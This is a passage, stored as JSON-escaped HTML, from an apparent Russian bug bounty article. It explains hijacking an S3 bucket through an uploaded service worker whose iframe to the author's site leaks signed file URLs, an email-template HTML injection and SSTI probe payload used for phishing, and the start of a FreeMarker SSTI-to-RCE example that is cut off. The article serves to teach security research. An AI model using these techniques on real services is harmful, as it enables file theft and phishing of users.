\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u043a\u0442\u043e\u0440\u044b:<\/p>\n<p>  <\/p>\n<ul>\n<li>\n<p>\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u0444\u0430\u0439\u043b;<\/p>\n<p>  <\/li>\n<li>\n<p>\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript;<\/p>\n<p>  <\/li>\n<li>\n<p>\u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043b\u0430\u0434\u0443\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u0443 \u0438 \u0442\u0443 \u0436\u0435 \u043f\u0430\u043f\u043a\u0443 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u043a\u043e\u0440\u0435\u043d\u044c);<\/p>\n<p>  <\/li>\n<li>\n<p>\u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u043a\u0435\u043c \u0443\u0433\u043e\u0434\u043d\u043e.<\/p>\n<p>  <\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u042d\u0442\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043a\u0440\u0430\u0441\u0442\u044c \u0447\u0443\u0436\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u043e\u0442\u0432\u0435\u0442\u0430 Service Worker. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c serviceworker.js:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/er\/k6\/qt\/erk6qtcv5ru_8xitswhqiysqbkw.png\" data-src=\"https:\/\/habrastorage.org\/webt\/er\/k6\/qt\/erk6qtcv5ru_8xitswhqiysqbkw.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041d\u0430\u0432\u0435\u0448\u0438\u0432\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 fetch, \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u043e\u0442\u0432\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0430 \u043a\u043e\u0434 iframe src \u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u043c, \u0447\u0442\u043e \u0442\u0438\u043f \u043e\u0442\u0432\u0435\u0442\u0430 \u2014 text\/html. \u041a\u0430\u0436\u0434\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0443\u0434\u0435\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 Service Worker. <\/p>\n<p>  <\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c exploit.html:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/eq\/_a\/m4\/eq_am4at7dhhhzvdfhzpc8s0lau.png\" data-src=\"https:\/\/habrastorage.org\/webt\/eq\/_a\/m4\/eq_am4at7dhhhzvdfhzpc8s0lau.png\"\/><\/p>\n<p>  <\/p>\n<p>\u042d\u0442\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0443\u0436\u043d\u0430 \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e Service Worker. \u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044f \u043f\u0443\u0442\u044c \u0434\u043e \u043d\u0435\u0433\u043e \u0441 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043c\u044b \u0445\u043e\u0441\u0442\u0438\u043c \u044d\u0442\u043e\u0442 serviceworker.js \u0432 \u044d\u0442\u043e\u043c \u0436\u0435 S3-\u0431\u0430\u043a\u0435\u0442\u0435. \u0418 \u0433\u043e\u0432\u043e\u0440\u0438\u043c, \u0447\u0442\u043e \u0441\u043a\u043e\u0443\u043f \u2014 \u043a\u043e\u0440\u0435\u043d\u044c.<\/p>\n<p>  <\/p>\n<p>\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u043e\u0442\u043a\u0440\u043e\u0435\u0442 exploit.html:<\/p>\n<p>  <\/p>\n<ul>\n<li>\n<p>\u0412 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f Service Worker<\/p>\n<p>  <\/li>\n<li>\n<p>\u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u043b\u044e\u0431\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u044d\u0442\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u043e\u0442 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0441 serviceworker.js, \u043e\u0442\u0432\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u0438\u0448\u0435\u0442\u0441\u044f \u043d\u0430:<\/p>\n<p>  <\/li>\n<\/ul>\n<p>  <\/p>\n<p><code>&lt;iframe src=\"https:\/\/avtohanter.ru\/ref?x=\"><\/code><\/p>\n<p>  <\/p>\n<ul>\n<li>\u0412 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 Referer \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043f\u0435\u0440\u0435\u0434\u0430\u0441\u0442 \u043f\u0443\u0442\u044c, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b Service Worker.<\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u041e\u0442 \u043b\u0438\u0446\u0430 \u0436\u0435\u0440\u0442\u0432\u044b \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/va\/o3\/3y\/vao33yluynba7zvxhv3nlz1gb9u.png\" data-src=\"https:\/\/habrastorage.org\/webt\/va\/o3\/3y\/vao33yluynba7zvxhv3nlz1gb9u.png\"\/><\/p>\n<p>  <\/p>\n<p>\u042f \u043f\u043e\u0448\u043b\u044e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u0441\u0432\u043e\u0439 exploit.html-\u0444\u0430\u0439\u043b. \u0417\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f Service Worker. \u0414\u0430\u043b\u044c\u0448\u0435, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0437\u0430\u0445\u043e\u0447\u0435\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0444\u0430\u0439\u043b \u0443 \u0441\u0435\u0431\u044f \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u043e\u0442\u0432\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u0438\u0448\u0435\u0442\u0441\u044f \u043d\u0430 iframe, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0435\u0434\u0435\u0442 \u043d\u0430 \u043c\u043e\u0439 \u0441\u0430\u0439\u0442.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/b2\/zu\/sq\/b2zusqfhroyvz4bkf8yjm_rbefs.png\" data-src=\"https:\/\/habrastorage.org\/webt\/b2\/zu\/sq\/b2zusqfhroyvz4bkf8yjm_rbefs.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0418 \u044f \u043f\u043e\u043b\u0443\u0447\u0443 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/bp\/lw\/km\/bplwkmsisqeso-yetqpvfeyjex0.png\" data-src=\"https:\/\/habrastorage.org\/webt\/bp\/lw\/km\/bplwkmsisqeso-yetqpvfeyjex0.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0412 Referer \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0434\u043e \u0444\u0430\u0439\u043b\u0430, \u0433\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0437\u0430\u0445\u043e\u0442\u0435\u043b \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u0432\u043e\u0439 \u0444\u0430\u0439\u043b. \u0423 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0441 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043c\u043e\u0433\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0435\u0433\u043e, \u0438 \u044d\u0442\u043e \u0434\u0430\u0435\u0442 \u043c\u043d\u0435 \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u0442\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c. <\/p>\n<p>  <\/p>\n<h2>\u0411\u043e\u043d\u0443\u0441<\/h2>\n<p>  <\/p>\n<p>\u041c\u0430\u043b\u043e \u043a\u0442\u043e \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0438\u0441\u044c\u043c\u0430 \u2014 \u044d\u0442\u043e HTML-\u043a\u043e\u0434. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u0442\u044c \u0442\u0430\u043a\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u043e\u0442 Trello:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/gz\/u_\/2m\/gzu_2m58uymajs0rmargvkh-kb4.png\" data-src=\"https:\/\/habrastorage.org\/webt\/gz\/u_\/2m\/gzu_2m58uymajs0rmargvkh-kb4.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0412 \u043f\u0438\u0441\u044c\u043c\u043e \u0442\u043e\u0436\u0435 \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0442\u0430\u043c \u0435\u0441\u0442\u044c XSS. \u041d\u043e \u043f\u0438\u0441\u044c\u043c\u0430 \u043c\u044b \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0432 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 (\u043e\u0431\u044b\u0447\u043d\u043e Mail.ru, \u042f\u043d\u0434\u0435\u043a\u0441) \u0438, \u0440\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f, XSS \u0432 \u043f\u0438\u0441\u044c\u043c\u0435 \u0432\u0435\u0434\u0435\u0442 \u043a XSS \u0432 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0430 \u044d\u0442\u043e \u0443\u0436\u0435 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u043a\u043e\u0443\u043f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0441\u043b\u0430\u043b\u0430 \u044d\u0442\u043e \u043f\u0438\u0441\u044c\u043c\u043e.<\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0437\u0434\u0435\u0441\u044c \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u043d\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f <strong>Email template&#8217;s HTML injection<\/strong>. \u0412\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0437\u043e\u0432\u0430 JS \u043c\u044b \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u0441\u044f \u0432 HTML-\u0448\u0430\u0431\u043b\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0441\u043b\u0430\u043b\u0430 \u043d\u0430\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f. <\/p>\n<p>  <\/p>\n<p>\u041f\u0435\u0439\u043b\u043e\u0430\u0434 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a: <\/p>\n<p>  <\/p>\n<pre><code class=\"xml\">-->&lt;\/script>&lt;a href=\"\/\/qwe.com\">qwe&lt;\/a>&lt;img src=x>${7*7}{{7*7}}&lt;!--  49 = SSTI*  *SSTI \u2013 https:\/\/portswigger.net\/blog\/server-side-template-injection<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043a\u0430\u043a \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 XSS, \u043d\u043e \u0437\u0434\u0435\u0441\u044c \u043c\u044b \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e JS, \u0430 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c \u043d\u0430\u0448\u0438 HTML-\u0442\u0435\u0433\u0438 \u0432 \u0448\u0430\u0431\u043b\u043e\u043d \u043f\u0438\u0441\u044c\u043c\u0430. \u0422\u0430\u043a\u0436\u0435 \u0437\u0434\u0435\u0441\u044c \u0435\u0441\u0442\u044c ${7<em>7}{{7<\/em>7}}, \u043a\u0430\u043a \u0434\u043b\u044f AngularJS, \u0442\u043e\u043b\u044c\u043a\u043e AngularJS \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u0441\u044f \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435, \u0430 \u044d\u0442\u043e\u0442 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u043f\u0440\u0438\u0437\u0432\u0430\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0440\u0435\u043d\u0434\u0435\u0440\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u044b. <\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/q5\/sj\/0d\/q5sj0ddg4y9ixlxvojxpg2wc-ic.png\" data-src=\"https:\/\/habrastorage.org\/webt\/q5\/sj\/0d\/q5sj0ddg4y9ixlxvojxpg2wc-ic.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u2014 \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e. \u041d\u043e \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0442\u0435\u043c\u0443, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043c \u0435\u0441\u0442\u044c HTML-\u0442\u0435\u0433\u0438, \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0430 \u0438 HTML-\u043a\u043e\u043c\u043c\u0435\u043d\u0442. <\/p>\n<p>  <\/p>\n<p>\u0418\u0434\u0435\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043c\u044b \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043d\u0430\u0448\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0443, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u043c \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u044d\u0442\u043e \u043f\u0438\u0441\u044c\u043c\u043e \u043a\u043e\u043c\u0443 \u0443\u0433\u043e\u0434\u043d\u043e. <\/p>\n<p>  <\/p>\n<p>\u0422\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0443 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u0444\u0438\u0448\u0438\u0442\u044c \u043a\u043e\u0433\u043e-\u0442\u043e \u043d\u0435\u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u0441\u044b\u043b\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u0435\u0441\u0442\u0438 \u043d\u0430 \u043b\u0435\u0432\u044b\u0439 \u0441\u0430\u0439\u0442. <\/p>\n<p>  <\/p>\n<p>\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043c\u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/2s\/cl\/hf\/2sclhf-jrgy2vgwus8m2dqc91y4.png\" data-src=\"https:\/\/habrastorage.org\/webt\/2s\/cl\/hf\/2sclhf-jrgy2vgwus8m2dqc91y4.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041a\u0442\u043e-\u0442\u043e \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435: \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0430\u043b\u0438 \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043a \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \u0420\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f, \u044d\u0442\u043e \u0444\u0438\u0448\u0438\u043d\u0433. <\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 ${7*7} -> 49 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435, \u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439, \u0442\u043e \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f <strong>SSTI (Server Side Template Injection)<\/strong>. \u0415\u0435 \u0441\u0443\u0442\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u044b, \u043f\u043e\u0442\u043e\u043c \u043e\u043d\u0438 \u0447\u0435\u0440\u0435\u0437 \u044d\u0442\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u044f\u044e\u0442 \u0441\u0432\u043e\u0438 HTML-\u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0438, \u0435\u0441\u043b\u0438 \u0442\u0430\u043c \u0435\u0441\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435\u0435 \u043d\u0430 template expression language, \u043e\u043d\u0438 \u044d\u0442\u043e \u0440\u0435\u043d\u0434\u0435\u0440\u044f\u0442. <\/p>\n<p>  <\/p>\n<p>\u042f \u043f\u043e\u043a\u0430\u0436\u0443 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437 Bug Bounty. \u042d\u0442\u043e \u0431\u044b\u043b RCE (remote code execution) \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0432\u043e FreeMarker.<\/p>\n<p>  <\/p>\n<p>\u042d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u0441\u0432\u043e\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u043e\u0442\u0441\u044b\u043b\u043a\u0438 \u0438\u043c\u0435\u0439\u043b\u043e\u0432.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/l1\/rs\/qd\/l1rsqd_e6ge4bjdrybvazwtuhfo.png\" data-src=\"https:\/\/habrastorage.org\/webt\/l1\/rs\/qd\/l1rsqd_e6ge4bjdrybvazwtuhfo.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0418\u043c\u0435\u0439\u043b\u044b \u0437\u0434\u0435\u0441\u044c \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0435. \u041f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c HTML, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0443\u0436\u043d\u043e \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u0442\u044c. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0443\u0436\u0435 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043b\u0430\u0442\u044c \u043b\u044e\u0431\u043e\u0439 HTML \u0441 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u044d\u0442\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043a\u043e\u043c\u0443 \u0443\u0433\u043e\u0434\u043d\u043e. <\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0431\u044b\u043b\u0430 \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u041e\u043d\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0442\u0443\u0434\u0430 ${7<em>7} \u0438\u043b\u0438 #{7<\/em>7}, \u043f\u0440\u0438 \u043f\u0440\u0435\u0432\u044c\u044e \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0443 \u043d\u0430\u0441 \u0432\u044b\u0432\u0435\u0434\u0435\u0442\u0441\u044f 49:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/rc\/g8\/ga\/rcg8ga2ouoeqin6padszr4njhze.png\" data-src=\"https:\/\/habrastorage.org\/webt\/rc\/g8\/ga\/rcg8ga2ouoeqin6padszr4njhze.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u0443\u0442\u0435\u043c \u043d\u0435\u0434\u043e\u043b\u0433\u0438\u0445 \u043a\u043e\u0432\u044b\u0440\u044f\u043d\u0438\u0439 \u044f \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0448\u0430\u0431\u043b\u043e\u043d FreeMarker. \u0410 \u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 FreeMarker \u0435\u0441\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0448\u0442\u0443\u043a\u0438: <\/p>\n<p>  <\/p>\n<p>[#assign 